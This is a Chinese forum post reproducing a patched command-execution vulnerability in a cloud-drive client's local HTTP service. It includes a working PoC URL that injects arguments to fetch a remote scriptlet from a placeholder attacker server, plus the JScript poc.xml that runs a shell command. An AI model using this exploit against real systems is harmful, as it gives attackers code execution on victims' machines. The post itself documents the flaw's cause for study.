(已修复)某云盘客户端命令执行漏洞

4 条回复
59 次浏览

某云盘为了提供本地客户端拉起功能,在本地启动了一个服务,监听了一个 HTTP 协议的端口,该服务某参数可控导致命令执行。

我们知道微软提供了协议注册功能(myapp://),用于拉起客户端,有些厂商为了实现更多的自定义功能和传入参数,自己使用进程驻留的方式提供拉起服务。

影响版本:<7.60.5.102

POC:

复制
https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://[恶意文件服务器地址]/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\\%22

poc.xml:

复制
<?XML version="1.0"?>
<scriptlet>
    <registration progid="poc" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript"><![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
]]>
</script>
        </registration>
        </scriptlet>

根据上面的 POC 和 poc.xml 可以看到,该程序的本地服务 uk 参数可控,且未过滤,通过 uk 传入参数调用 scrobj.dll 进行服务注册,/i 参数支持远程 xml。又因为 xml 支持 CDATA、js、ActiveX,那么可以直接调用系统命令,最终实现任意命令执行。

该漏洞仅需要知晓对方计算机用户名,一般都是 administrator、admin、pc

复现情况:
image

讲故事的人
OP
Guardian

日积月累,慢慢积累起来的,信安东西很多,我对二进制不是很了解,主要是做 WEB 方向,WEB 的资料网上有很多。

讲故事的人
OP
Guardian

我只是根据他人的分析进行复现,没有什么技术含量,相当于了解下漏洞成因和利用原理。

发表一个评论

R保持